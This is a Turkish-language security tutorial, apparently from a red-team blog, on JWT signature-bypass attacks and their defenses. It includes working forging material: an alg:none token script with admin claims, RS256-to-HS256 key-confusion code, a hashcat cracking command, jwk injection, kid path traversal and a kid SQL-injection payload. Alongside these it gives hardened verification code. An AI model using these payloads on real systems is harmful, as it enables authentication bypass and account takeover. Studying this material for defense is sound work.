Write-upweb-application

JWT Güvenliği: Token Saldırıları ve Savunma

alg:none, zayıf secret, algoritma karışıklığı ve jwk/jku/kid header enjeksiyonu üzerinden imza doğrulama atlatma teknikleri ve katmanlı savunma

AL
AltaySecAltaySec Red Team
26 Ağustos 2026
9 dakika okuma
Özet

JWT saldırılarının neredeyse tamamı tek bir kök nedene dayanır: sunucu, imzayı doğrulayacağı algoritmayı ve anahtarı token'ın saldırgan kontrollü header'ından okur. Bu yazı alg:none atlatma, RS256→HS256 anahtar karışıklığı, zayıf secret brute-force ve jwk/jku/kid header enjeksiyonunu somut kod ve komut örnekleriyle çözümler; ardından algoritma allowlist'i, sabit güven çıpası ve kid sanitizasyonu ile katmanlı savunmayı gösterir.

JWT saldırı yüzeyi neden bu kadar geniş?

JSON Web Token (JWT) saldırılarının büyük çoğunluğu tek bir tasarım kusurundan doğar: sunucu, imzayı hangi algoritmayla ve hangi anahtarla doğrulayacağını token’ın kendi header bölümünden okur — ve bu header, tamamen saldırganın kontrolündeki, imzalanmadan gönderilen bir veri parçasıdır. Bir saldırgan alg alanını none yapıp imzayı silebilir, RS256‘yı HS256‘ya çevirip açık anahtarı HMAC secret’ı gibi kullanabilir, ya da jwk/jku/kid header parametreleriyle sunucuyu kendi kontrol ettiği anahtara yönlendirebilir. Sonuç her durumda aynıdır: geçerli imzaya sahip, keyfi iddialar (claims) taşıyan bir token üretmek ve admin olarak oturum açmak. Bu yazı bu atlatma tekniklerini kanıt seviyesinde çözümler ve her birine karşı doğrulanabilir savunmayı verir. Altın kural şudur: imzayı doğrulayan tarafın algoritma ve anahtar seçimi, token’dan değil, sunucunun kendi güvendiği yapılandırmasından gelmelidir.

JWT anatomisi: güven neyin üzerine kurulu?

Bir JWT üç Base64URL bölümden oluşur ve nokta ile birleşir: header.payload.signature. Header ve payload gizli değildir — herkes çözebilir; güvenliğin tamamı imzaya dayanır.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.<imza>
        header (alg, typ)                    payload (claims)              signature

Header örneği ve saldırı yüzeyi:

{
  "alg": "RS256",   // ← imza algoritması: saldırgan bunu değiştirebilir
  "typ": "JWT",
  "kid": "key-2024", // ← anahtar seçici: dosya/DB lookup'a gider
  "jku": "https://issuer.example/jwks.json" // ← anahtar seti URL'i
}

Kritik nokta: alg, kid, jku, jwk alanları imzanın parçası olsa da imzadan önce okunur. Sunucu, imzayı doğrulamak için önce hangi anahtarı/algoritmayı kullanacağına karar vermek zorundadır ve bu karar için elindeki tek girdi çoğu zaman header’ın kendisidir. İşte tüm sorun burada başlar: doğrulamayı yönlendiren metaveri, doğrulanmamış girdidir.

alg:none — imzayı tamamen atlatma

JWS spesifikasyonu, “imzasız” tokenlar için none algoritmasını tanımlar. Bu, meşru olarak imzanın başka bir katmanda korunduğu senaryolar içindir; ancak zayıf bir doğrulama mantığı alg değerini körü körüne dinlerse, saldırgan imzayı tamamen kaldırıp tokeni geçerli kabul ettirebilir.

Saldırı üç adımdır: payload’ı değiştir, alg‘yi none yap, imza bölümünü boşalt (nokta kalır, sonrası boştur):

# Header ve payload'ı manipüle et, imzayı sil
python3 - <<'PY'
import base64, json
def b64(d): return base64.urlsafe_b64encode(json.dumps(d,separators=(',',':')).encode()).rstrip(b'=').decode()
header  = {"alg":"none","typ":"JWT"}
payload = {"sub":"admin","role":"admin"}
print(f"{b64(header)}.{b64(payload)}.")   # ← sondaki nokta ve boş imza dikkat
PY

Üretilen token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

Bu, JWT’nin yaygın olarak bilinen zafiyetlerinden biridir. CVE-2015-9235, Node.js jsonwebtoken kütüphanesini 4.2.2 sürümü öncesinde bir doğrulama atlatması (verification bypass) nedeniyle savunmasız bırakmıştır: kütüphane imza algoritmasını doğrudan token’ın header’ından okuyup ona güvendiği için, saldırgan asimetrik imzalı bir tokeni simetrik (HS*) algoritmaya çevirerek doğrulamayı geçebiliyordu. Düzeltme, anahtar tipine göre kabul edilen algoritmaları belirleyip header’daki alg‘yi bu allowlist’e karşı doğrulamayı ekledi — bu mekanizma hem alg:none‘ı hem de algoritma karışıklığını kapatır. Bazı none varyantlarını (büyük/küçük harf filtresini atlatmak için) None, nOnE, NONE gibi yazımlarla denemek klasik bir bypass tekniğidir.

Algoritma karışıklığı — RS256 → HS256 anahtar karışıklığı

Bu, JWT saldırılarının en zarif olanlarından biridir çünkü sistem gerçekten imza doğrular; sadece yanlış anahtar tipiyle doğrular. Senaryo şudur:

  • Sunucu tokenları asimetrik RS256 ile imzalar: özel anahtarla imzalar, açık anahtarla doğrular.
  • Kütüphanenin genel verify(token, key) fonksiyonu algoritmayı token’ın alg header’ından okur.
  • Geliştirici, “bu fonksiyon sadece RS256 kullanacak” varsayımıyla fonksiyona RSA açık anahtarını verir.

Saldırgan alg‘yi HS256‘ya çevirir. Artık kütüphane simetrik HMAC-SHA256 çalıştırır ve doğrulama anahtarı olarak sunucuya verilen RSA açık anahtarını HMAC secret’ı gibi kullanır. HS256’nın tüm güvenliği secret’ın gizli olmasına dayanır — oysa RSA açık anahtarı tanımı gereği gizli değildir, herkese açıktır. Saldırgan aynı açık anahtarı HMAC secret’ı olarak kullanıp tokeni kendisi imzalayabilir.

# Saldırgan: sunucunun AÇIK anahtarını HMAC secret'ı gibi kullanarak imzalar
import jwt  # PyJWT

with open("public.pem") as f:
    public_key = f.read()   # herkese açık, /jwks.json veya sertifikadan alınmış

forged = jwt.encode(
    {"sub": "admin", "role": "admin"},
    key=public_key,          # ← RSA açık anahtar, HMAC secret olarak
    algorithm="HS256",       # ← simetriğe düşürülmüş
    headers={"alg": "HS256"}
)
print(forged)  # sunucu HS256 doğrularsa, açık anahtarla eşleşen imza geçerli sayılır

Açık anahtar dışarı verilmiyorsa ne olur? Saldırgan iki geçerli token’dan matematiksel olarak açık anahtarı geri türetebilir. PortSwigger’ın rsa_sign2n aracı (sig2n) tam olarak bunu yapar: iki farklı JWT’den birkaç aday açık anahtar (n modülüsü) üretir, doğru olanı sunucuya karşı denenerek bulunur.

# İki geçerli token'dan aday açık anahtarları türet
docker run --rm -it portswigger/sig2n <token1> <token2>

Kritik ayrıntı: forge işleminin başarılı olması için kullanılan açık anahtarın byte-byte, satır sonu ve PEM biçimi dahil sunucudaki anahtarla birebir aynı olması gerekir; bir newline farkı bile imzayı bozar.

Zayıf secret — HS256 brute-force

Sunucu doğru şekilde HS256 bekliyor ama secret zayıfsa, saldırgan tek bir geçerli token’ı offline kırarak secret’ı ele geçirir; sonrasında istediği tokeni imzalar. secret, password, admin, changeme, key123 gibi placeholder değerler ya da kopyalanmış kod örneklerindeki sabit anahtarlar en sık rastlanan hatalardan biridir.

HS256, HMAC’ı standalone bir string secret ile kullanır; bu secret sözlük saldırısına açıksa güvenlik çöker. hashcat‘in 16500 modu doğrudan JWT (HS256/384/512) kırmak içindir:

# Geçerli bir token'ı sözlükle kır (mode 16500 = JWT)
hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt
# Kırılan secret ile keyfi token imzala

Auth0’ın gösterdiği gibi, kısa veya düşük entropili secret’lar tüketici donanımında dahi kırılabilir. OWASP’ın somut gereksinimi nettir: secret kriptografik olarak güvenli bir üreteçle üretilmeli, en az 160 bit entropiye sahip olmalı ve en azından imza çıktısı kadar büyük olmalıdır (HS256 için 256 bit, HS384 için 384, HS512 için 512). Parolalar asla HMAC secret’ı olarak kullanılmamalıdır.

Header enjeksiyonu — jwk, jku ve kid manipülasyonu

Bu saldırı ailesi, JWS header’ının doğrulama anahtarını işaret edebilmesi veya taşıyabilmesi özelliğini istismar eder. Bir uygulama anahtarını bu alanlardan seçer ve sonucu önceden güvendiği bir çıpaya bağlamazsa, saldırgan sunucuyu kendi kontrol ettiği anahtara yönlendirir.

jwk enjeksiyonu — Header, doğrulama açık anahtarını gömülü olarak taşıyabilir. Zayıf sunucu bu gömülü anahtarla doğrularsa, saldırgan kendi anahtar çiftini üretir, açık anahtarı jwk‘ya koyar ve tokeni eşleşen özel anahtarla imzalar:

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": { "kty":"RSA", "n":"<saldirgan_acik_anahtar_n>", "e":"AQAB" }
}

jku manipülasyonu — Header, anahtar setinin (JWK Set) URL’ini jku ile verir. Sunucu bu URL’i allowlist’e karşı doğrulamazsa, saldırgan jku‘yu kendi sunucusundaki bir JWK Set’e yöneltir. Bu aynı zamanda bir SSRF vektörüdür — URL sunucu tarafında fetch edildiği için iç ağa erişim ve açık yönlendirme (open redirect) zincirlemeleri mümkündür.

kid manipülasyonukid (Key ID), doğrulama anahtarını bir dosya sisteminden ya da veritabanından çekmek için kullanılan seçicidir. Değer sanitize edilmeden lookup’a gittiği için üç klasik enjeksiyon doğar:

// Path traversal: bilinen içerikli bir dosyayı "anahtar" olarak kullan
{ "alg":"HS256", "kid":"../../../../../../dev/null" }

kid /dev/null‘a işaret ederse okunan “anahtar” boş string olur; saldırgan tokeni boş secret ile HMAC imzalayarak doğrulamayı geçebilir. kid bir SQL sorgusuna giriyorsa SQL injection ile anahtarı saldırganın kontrol ettiği bir değere döndürmek, dosya yoluna giriyorsa /proc, log ya da yüklenmiş dosya gibi içeriği bilinen kaynaklara path traversal ve komut bağlamına giriyorsa komut enjeksiyonu mümkündür.

-- kid üzerinden SQLi: sabit, saldırganın bildiği bir anahtar döndür
kid = aaa' UNION SELECT 'attacker-known-secret'-- -

Saldırı × Mekanizma × Savunma matrisi

Saldırı Mekanizma (kök neden) Somut istismar Savunma
alg:none Doğrulayıcı alg=none‘ı kabul edip imzayı atlar İmzayı sil, alg:none, claim değiştir none‘ı reddet; algoritma allowlist zorla (none hiçbir zaman listede olmasın)
RS256→HS256 karışıklığı Genel verify() algoritmayı header’dan okur; açık anahtar HMAC secret sanılır Açık anahtarı HMAC secret’ı yaparak HS256 imzala; anahtar gizli değilse sig2n ile türet Beklenen algoritmayı kod tarafında sabitle; simetrik ve asimetrik algoritmaları asla karıştırma; anahtar tipi kontrolü
Zayıf secret brute-force Düşük entropili/placeholder HMAC secret hashcat -m 16500 ile offline kır ≥256 bit, ≥160 bit entropi, CSPRNG ile üretilmiş; parola kullanma; rotasyon
jwk enjeksiyonu Gömülü açık anahtarla doğrulama Kendi açık anahtarını jwk‘ya koy, özel anahtarla imzala Header’dan anahtar alma; yalnızca out-of-band, güven çıpasına bağlı anahtar kullan
jku manipülasyonu Anahtar seti URL’i doğrulanmadan fetch edilir jku‘yu saldırgan sunucusuna yönelt (+ SSRF) Katı host allowlist; sabit jwks_uri; SSRF kontrolleri
kid enjeksiyonu kid sanitize edilmeden dosya/DB/komut lookup’a gider Path traversal (/dev/null), SQLi, komut enjeksiyonu kid‘i sanitize/parametrize et; allowlist; dosya yolunu kanonikleştir

Savunma: güvenli JWT doğrulama

1. Algoritmayı kod tarafında sabitle (allowlist). Doğrulayıcıya kabul ettiğin algoritmaları açıkça söyle; token’ın alg header’ına asla güvenme. OWASP’ın kuralı: “kabul edilen algoritmaları hardcode et ve açık anahtar imza algoritmalarıyla MAC algoritmalarını karıştırma.”

# PyJWT — doğru kullanım
import jwt
decoded = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],   # ← yalnızca beklenen algoritma; HS256'ya düşürme engellenir
    options={"require": ["exp", "iss", "aud"]},
    issuer="https://issuer.example",
    audience="my-api",
)
// Node.js jsonwebtoken — doğru kullanım
const decoded = jwt.verify(token, publicKey, {
  algorithms: ["RS256"],          // ← header'daki alg bu listeye karşı doğrulanır
  issuer: "https://issuer.example",
  audience: "my-api",
});

2. Doğrulama anahtarını token’dan alma. OWASP net: “token içindeki anahtarı, ancak bir güven zinciriyle bir kök güven çıpasına bağlanabiliyorsa kullan.” Pratikte: jwk/jku/x5u header’larını yok say; anahtarı issuer’ın önceden yapılandırılmış jwks_uri metaverisinden ya da yerel keystore’dan al.

3. jku kullanılıyorsa katı host allowlist + SSRF savunması. URL’i izinli hostlar listesine karşı doğrula; jwks_uri‘yi issuer discovery’den sabitle; sunucu-taraflı fetch’i iç ağa/metadata servislerine erişemeyecek şekilde kısıtla.

4. kid’i injection vektörü olarak ele al. Lookup’tan önce sanitize et: allowlist ya da parametreli sorgu kullan, dosya yolunu kanonikleştirip bir kök dizine hapset.

import os, re
KEY_DIR = os.path.realpath("/etc/app/jwt-keys")

def load_key(kid: str) -> bytes:
    if not re.fullmatch(r"[A-Za-z0-9_-]{1,64}", kid):   # katı allowlist deseni
        raise ValueError("gecersiz kid")
    path = os.path.realpath(os.path.join(KEY_DIR, kid + ".pem"))
    if os.path.commonpath([KEY_DIR, path]) != KEY_DIR:  # path traversal kapısı
        raise ValueError("kid dizin disina cikiyor")
    with open(path, "rb") as f:
        return f.read()

5. Güçlü secret + rotasyon (HMAC kullanılıyorsa). CSPRNG ile en az 256 bit secret üret, ortam değişkeninde/gizli yönetiminde tut, koda gömme, düzenli döndür:

# 256-bit kriptografik secret üret
openssl rand -base64 32

6. Standart claim’leri her istekte doğrula. exp (süre), nbf, iss, aud zorunlu olsun; token ömrünü kısa tut; iptal için ham token yerine jti+iss tabanlı denylist kullan (OWASP, imza malleability’si nedeniyle ham token/hash’ini denylist anahtarı yapmayı güvensiz sayar).

Doğrulama ve test kontrol listesi

Bir JWT uygulamasını değerlendirirken sırayla şunları dene ve savunmayı doğrula:

  • alg‘yi none/None/NONE yap, imzayı sil → 200 dönerse zafiyet.
  • RS256 tokeni HS256‘ya çevir, açık anahtarı HMAC secret’ı yap; açık anahtar yoksa sig2n ile türet.
  • Geçerli bir HS256 token’ını hashcat -m 16500 ile sözlüğe karşı kır.
  • jwk‘ya kendi açık anahtarını göm; jku‘yu kontrol ettiğin bir hosta yönelt.
  • kid‘e ../../../dev/null, SQLi payload’ları ve komut metakarakterleri enjekte et.
  • Savunma tarafında: doğrulayıcı çağrısında algoritma allowlist’i var mı, anahtar header’dan mı yoksa güvenli kaynaktan mı geliyor, kid sanitize ediliyor mu, secret uzunluğu/entropisi yeterli mi — hepsini kod incelemesiyle teyit et.

Özetle JWT güvenliği tek bir ilkeye indirgenir: doğrulamanın “nasıl” ve “neyle” yapılacağı kararı token’dan değil, sunucunun kendi güvendiği yapılandırmasından gelmelidir. Algoritmayı sabitleyen, anahtarı güven çıpasına bağlayan, kid‘i sanitize eden ve secret’ı güçlü tutan bir uygulamada bu yazıdaki atlatmaların tamamı kapanır.

AL
AltaySec
AltaySec Red Team
AltaySec Arşiv topluluğuna katkı veren yazar. Türkçe siber güvenlik bilgi tabanını birlikte büyütüyoruz.

Sen de yaz, arşivde yerini al

AltaySec Arşiv'e katkı ver — uzmanlığını Türkçe siber güvenlik literatürüne kat.

Yazar Ol